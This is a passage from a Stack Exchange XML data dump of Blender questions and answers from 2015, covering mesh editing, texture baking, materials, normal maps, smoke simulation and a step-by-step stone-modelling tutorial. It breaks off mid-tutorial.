  <row Id="36015" PostTypeId="1" AcceptedAnswerId="36021" CreationDate="2015-08-19T14:08:48.803" Score="1" ViewCount="553" Body="&lt;p&gt;Here is very simple model of a &quot;table&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.imgur.com/57y7nKQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/57y7nKQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I easily slide the selected part closer to the inside, i.e. move it along the X axis? If I just move it, the top part will obviously be distorted:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Yv6eg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yv6eg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, I would like the top part to protrude like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XvJFE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XvJFE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you do this?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-08-19T15:16:58.827" Title="Slide the legs of a table" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;&lt;editing&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36016" PostTypeId="2" ParentId="35786" CreationDate="2015-08-19T14:14:46.867" Score="0" Body="&lt;p&gt;I don't know if this will help,but when i was trying to place any texture or even the uv test map(the chequer board) onto the standard cube ,only a few sides of the cube would show the texture,and the other sides of the cube would be black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turns out the problem was caused by the lamp(the light source).Which was lighting only the sides of the cube that it was pointing at(just like a real lamp/light would do)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So all i did was press the tab key,to change into object mode,then select the lamp and press the x key and delete the lamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This had me stumped for two days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(i should also point out that this only worked for me when i use blender render.If i switch to cycles render,then the cube won't show the texture,just a solid grey coating)&lt;/p&gt;&#xA;" OwnerUserId="16541" LastEditorUserId="16541" LastEditDate="2015-08-19T14:53:42.967" LastActivityDate="2015-08-19T14:53:42.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36017" PostTypeId="1" AcceptedAnswerId="36023" CreationDate="2015-08-19T14:18:04.340" Score="1" ViewCount="1003" Body="&lt;p&gt;First of all. Im a total noob at blender. I only have a few days of training.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working on a logo for an animation. Im trying to bake the scene, but my text is too long for only one bake map (or texture or what ever) So I have seperated each letter so they can be baked one at a time. But they all still share the same node ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I give them one each ?&lt;/p&gt;&#xA;" OwnerUserId="16542" LastActivityDate="2015-08-19T15:18:21.263" Title="Giving lettes an individual node" Tags="&lt;texture-baking&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36018" PostTypeId="2" ParentId="36015" CreationDate="2015-08-19T14:24:30.343" Score="3" Body="&lt;p&gt;Press &lt;kbd&gt;P&lt;/kbd&gt; key with the table leg selected and choose Selection,&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/I22ra.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/I22ra.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;to separate it by selection and then &lt;kbd&gt;Shift&lt;/kbd&gt; select the table and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; to join them back together, now you can move it however you like.&lt;/p&gt;&#xA;&lt;p&gt;-&lt;em&gt;don't forget to exit the edit mode of the table before you join them&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-08-19T14:24:30.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36019" PostTypeId="2" ParentId="35997" CreationDate="2015-08-19T14:42:09.960" Score="4" Body="&lt;p&gt;There's an add-on which ships with Blender called &lt;em&gt;Extra Objects&lt;/em&gt;. If you enable it you will get extra options in the &lt;em&gt;Add Mesh&lt;/em&gt; menu. One of the new options is &lt;em&gt;Single vert&lt;/em&gt;. It's made for exactly this purpose; quickly start making meshes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AH2Mf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AH2Mf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You &lt;em&gt;can&lt;/em&gt; set a shortcut for that operation, by right-clicking &lt;em&gt;Add Single Vert&lt;/em&gt; menu item and choosing &lt;em&gt;Add Shortcut&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-08-19T17:51:07.773" LastActivityDate="2015-08-19T17:51:07.773" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36020" PostTypeId="1" CreationDate="2015-08-19T14:48:08.063" Score="4" ViewCount="319" Body="&lt;p&gt;Why can't I use branched path tracing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bBI5b.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bBI5b.png&quot; alt=&quot;its grayed out&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15659" LastActivityDate="2015-08-19T14:48:08.063" Title="Why can't I use branched path tracing?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ClosedDate="2017-01-03T12:26:28.483" ContentLicense="CC BY-SA 3.0" />
  <row Id="36021" PostTypeId="2" ParentId="36015" CreationDate="2015-08-19T14:59:45.617" Score="3" Body="&lt;p&gt;I'd suggest to use the vertex rip and then fill as shown in the animation below.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/f8xT9.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/f8xT9.gif&quot; alt=&quot;Rip and Fill&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15861" LastActivityDate="2015-08-19T14:59:45.617" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36022" PostTypeId="2" ParentId="36015" CreationDate="2015-08-19T15:16:58.827" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;Select the side face of the table top&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Qw9WU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qw9WU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift S&lt;/kbd&gt; and 'Cursor to selected'&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Hmt4t.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hmt4t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Move the leg including the table top on the X-axis&#xA;&lt;a href=&quot;https://i.stack.imgur.com/pGlGN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pGlGN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Make 3d cursor as pivot point for later extruding on the X-axis&#xA;&lt;a href=&quot;https://i.stack.imgur.com/VnpZr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VnpZr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Extrude the side face of the table top and scale to 0 on the X-axis&#xA;&lt;a href=&quot;https://i.stack.imgur.com/IZ6Rr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IZ6Rr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-08-19T15:16:58.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36023" PostTypeId="2" ParentId="36017" CreationDate="2015-08-19T15:18:21.263" Score="0" Body="&lt;p&gt;First go to Material Tab, then click the &lt;strong&gt;+&lt;/strong&gt; button next to your material, now press the 'Brows Material to be Linked' button and finally press the &lt;strong&gt;2&lt;/strong&gt; button next to the material name. Now you have to go to edit mode and click the Assign button at the bottom of the materials list while the letter you want to give the particular material is selected.&#xA;&lt;em&gt;By adjusting the new material you will now change the previous&lt;/em&gt;&#xA;Just see the Gif.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kANdt.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kANdt.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-19T15:18:21.263" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="36024" PostTypeId="2" ParentId="33276" CreationDate="2015-08-19T15:24:18.770" Score="9" Body="&lt;p&gt;If you want this to work only on specific magic glass, this cannot be done with shaders and is very difficult and time consuming with render layers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;shaders have no clue which glass it is looked through, it reacts to all of them or none of them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;render layers have problems with refraction and transparency and influencing other (background) objects if the xray material emits light. Also intersecting x-ray objects with non-xray are a problem. The materials setup for them are complicated and dependent on object indexes and worth a separate answer if you want to know. It's basically setting 2 render layers to output the same as below.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The solution is to use multiple scenes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1st one normal&lt;/li&gt;&#xA;&lt;li&gt;2nd one duplicate with all &quot;x-rayable&quot; objects having x-ray shader&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then you just composite them together through a mask from the magic-glass. So the magic glass is like a portal window to an alternative world with x-ray objects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E9u7d.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh no! There are Suzannes trapped inside those spheres.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To save some time rendering you can make use of &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?287988-Adaptative-Border-Region-Render-Addon-(request)&quot; rel=&quot;nofollow noreferrer&quot;&gt;adaptive render region addon&lt;/a&gt; in the 2nd scene and render only around the magic-glass object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if there is no visible light (direct or indirect) coming through or reflected off the magic-glass into the 1st scene, it's good to give it just plain black or holdout shader, so it renders faster. It will be replaced with the 2nd scene anyways.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-08-19T17:14:32.330" LastActivityDate="2015-08-19T17:14:32.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36025" PostTypeId="1" CreationDate="2015-08-19T16:38:12.773" Score="2" ViewCount="90" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fmFqD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fmFqD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I rid my mesh of its uneven surface. I tried subdividing the mesh, but I'm wondering why the rectangular geometry still persists after so much smoothing. &lt;/p&gt;&#xA;" OwnerUserId="16509" LastActivityDate="2015-09-18T18:46:57.557" Title="Help with smoothing surface of mesh" Tags="&lt;geometry&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="36028" PostTypeId="1" CreationDate="2015-08-19T17:01:28.360" Score="1" ViewCount="127" Body="&lt;p&gt;Twice now I spent a ton of time in edit mode, and upon exiting I noticed it seemed as if my entire scene reverted to my last save. I checked, and there is not a shortcut to &quot;revert&quot; but somehow I am reverting changes when I exit edit mode. Is there some key-combo/shortcut that I must be doing that is causing this?&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16492" LastActivityDate="2015-08-19T17:01:28.360" Title="How did I accidentally exit edit mode and revert all of my changes?" Tags="&lt;shortcut&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-08-19T23:34:55.937" ContentLicense="CC BY-SA 3.0" />
  <row Id="36029" PostTypeId="1" AcceptedAnswerId="36032" CreationDate="2015-08-19T17:18:54.333" Score="0" ViewCount="172" Body="&lt;p&gt;So I used a tool to create maps from a photo, turned out that the map of a cut out shape of the photo completes itself with the rest of the photo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is very bad, is there another way to get maps for a part of a photo?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just the photo:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hAM53.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hAM53.png&quot; alt=&quot;Texture photo&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normal map from it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/W72aC.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/W72aC.jpg&quot; alt=&quot;Texture normal map&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cut out shape:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SREnI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SREnI.png&quot; alt=&quot;cut out part&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The normal map of the shape with autocompleted parts and a strange border on top:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dULB3.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dULB3.jpg&quot; alt=&quot;cut out normal&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example with another shape which I only imported like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/j143B.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/j143B.png&quot; alt=&quot;another shape&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its normal map is as it should be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8YRrL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8YRrL.jpg&quot; alt=&quot;another shape normal&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11484" LastEditorUserId="11484" LastEditDate="2015-08-19T20:22:19.473" LastActivityDate="2015-08-19T20:22:19.473" Title="How to get normal/displacement/ao maps for a part of a photo" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="5" ClosedDate="2015-08-19T18:17:21.077" ContentLicense="CC BY-SA 3.0" />
  <row Id="36030" PostTypeId="1" AcceptedAnswerId="36040" CreationDate="2015-08-19T17:35:28.880" Score="1" ViewCount="216" Body="&lt;p&gt;I've been trying to create an animation for a creature where he slams the ground and there' s shockwave effect right after the animation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I moved the domain box, where the smoke effect takes place right under the creature that slams the ground and it suddenly deformed the creature (so the creature fitted right in the domain box somehow).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The domain box seems to have animations saved somehow. Maybe this might cause the problem.&lt;a href=&quot;https://i.stack.imgur.com/lAlq4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lAlq4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure what causes it.&lt;/p&gt;&#xA;" OwnerUserId="16148" LastActivityDate="2015-08-19T19:03:03.880" Title="Particle system domain box deforms the character (smoke effect)" Tags="&lt;animation&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="36031" PostTypeId="2" ParentId="35969" CreationDate="2015-08-19T17:41:30.643" Score="5" Body="&lt;p&gt;&lt;strong&gt;AHA!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it turns out that I needed the &lt;a href=&quot;https://packages.ubuntu.com/trusty/ocl-icd-opencl-dev&quot; rel=&quot;nofollow noreferrer&quot;&gt;ocl-icd-opencl-dev &lt;img src=&quot;https://hostmar.co/software-small&quot; alt=&quot;Install ocl-icd-opencl-dev&quot;&gt;&lt;/a&gt; package installed. Once I installed that package...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vMqPS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vMqPS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;\o/&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="75" LastEditDate="2018-03-06T20:07:32.490" LastActivityDate="2018-03-06T20:07:32.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36032" PostTypeId="2" ParentId="36029" CreationDate="2015-08-19T17:45:29.527" Score="1" Body="&lt;p&gt;This shouldn't bother you much, since you probably have the original cut image, with all the removed parts transparent (?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that case you can use the alpha to either make a mask / selection and remove the useless bits from the generated maps in photoshop / gimp,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can use the alpha from the cut color map in color mix nodes in the node editor. Either way it won't have any effect.&lt;/p&gt;&#xA;" OwnerUserId="15861" LastActivityDate="2015-08-19T17:45:29.527" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36033" PostTypeId="2" ParentId="35950" CreationDate="2015-08-19T17:54:39.060" Score="15" Body="&lt;h2&gt;1. Add a plane and Fractal Subdivide it&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A Fractal value around 0.5 is good for this size of plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nPzQs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nPzQs.png&quot; alt=&quot;Fractal subdivide a plane&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2. Subdivide it again&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Do a second subdivision of a single cut, this time with a higher Fractal value. In this example I used 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BeSmD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BeSmD.png&quot; alt=&quot;Subdivide again&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;3. Add a collision plane below&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is to catch the stones after we explode the fractal plane. Scale it up to be somewhat larger than the fractal plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IWlNd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IWlNd.png&quot; alt=&quot;Add a collision plane&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;4. Specify the collision plane's settings&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is done in the Physics Context with the collision plane selected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We just want some Particle Friction and Particle Damping. No need to be exact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hSPfY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hSPfY.png&quot; alt=&quot;Collision settings for the collision plane&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;5. Select &quot;Quick Explode&quot; from the Object menu&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;POW! Why sculpt and cut when you can just blow things up? Huge time-saver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7LTBZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7LTBZ.png&quot; alt=&quot;Choose &amp;quot;Quick Explode&amp;quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;6. Specify Quick Explode settings&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Adjust these while playing your animation in a loop to see what you like best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6RkHn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6RkHn.png&quot; alt=&quot;Quick Explode settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the settings are committed, they're committed.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;7. It's exploded but needs thickness and form&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Next we will perform some magic to turn this confetti into rocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GVXHb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GVXHb.png&quot; alt=&quot;Exploded fragments lack thickness&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;8. Add some more Modifiers with these settings&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Note the Solidify Thickness of 0.1, the Decimate Ratio of 0.3, and the SubSurf Subdivisions of 1 each. There is room to experiment here - these values are not set in stone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's happening: First the Solidify Modifier turns the flat shards into chunks with volume, but they still look too uniform and not organic enough. Next the Decimate Modifier crushes that geometry down into a shape that looks more like stones by merging neighboring vertices. Finally a Subdivision Surface Modifier takes care of taming the jaggedness. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How many subdivisions? 1 or 2, depending on how smooth you want your stones to be and what kind of poly count you can afford. Usually less is more, and this can be changed later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RzqvC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RzqvC.png&quot; alt=&quot;Modifier settings for shaping shards into stones&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;9. Apply all modifiers except SubSurf and set shading to Smooth&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The Particle System Modifier is the only one that can't be deleted or applied in this stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uC3Bw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uC3Bw.png&quot; alt=&quot;Particle System Modifier - Setttings can be found inside the Particle Context&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, navigate to the Particle Context. From there you can click the minus icon-button to delete it. We no longer need it once the stones have been created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TLn0o.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TLn0o.png&quot; alt=&quot;Click the minus button to delete the particle system&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose in leaving SubSurf on is for flexibility. You may later choose to remove the SubSurf altogether or increase its subdivision level to 2 for smoother, hi-poly (but also heavier to calculate) geometry. &lt;a href=&quot;https://blender.stackexchange.com/questions/319/add-the-same-modifier-to-multiple-objects-at-once?lq=1&quot;&gt;The Modifier settings from one stone can be copied to the rest.&lt;/a&gt; More on the SubSurf Modifier later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JXl51.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JXl51.png&quot; alt=&quot;With Modifiers added and object smoothed&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;10. Select the stones of desirable shape and size&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In Edit Mode (Face Select), select a face which is about the ideal size (meaning area) that you want your remaining stones to have. Then press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; to Select Similar and choose &quot;Area&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kOkEM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kOkEM.png&quot; alt=&quot;Select the stones of desirable shape and size&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Immediately after selecting similar faces a Threshold slider will appear in the Operator Panel. Adjust it until it's catching the appropriate amount of stones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/v2oR9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/v2oR9.png&quot; alt=&quot;Adjusting the threshold of similarity&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal is not to catch every face of every stone with this method, but just to get selected at least one piece of geometry on each stone you want to keep. After this you can shift-select parts of any additional stones you like. Then press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; to Select Linked and this is how you get the whole stones selected.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;11. Delete the rest&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;While still in Edit Mode and with your desired stones selected, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt; to invert the selection so that only the stones you &lt;em&gt;don't&lt;/em&gt; want to keep are selected. Then press &lt;kbd&gt;X&lt;/kbd&gt; to delete them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kUS3O.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kUS3O.png&quot; alt=&quot;Delete reject geometry&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;12. Separate by loose parts to get individual stone objects&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;At this point you may want to rename your object from &quot;Plane&quot; to something like &quot;Stone&quot;, before breaking it into a bunch of smaller objects that will be named &quot;Stone.123&quot; etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;A&lt;/kbd&gt; to Select All, then &lt;kbd&gt;P&lt;/kbd&gt; to Separate. Choose &quot;By Loose Parts&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7MMQv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7MMQv.png&quot; alt=&quot;Separate by loose parts&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From Object Mode you may now want to Hide (&lt;kbd&gt;H&lt;/kbd&gt;) the collision plane if it is 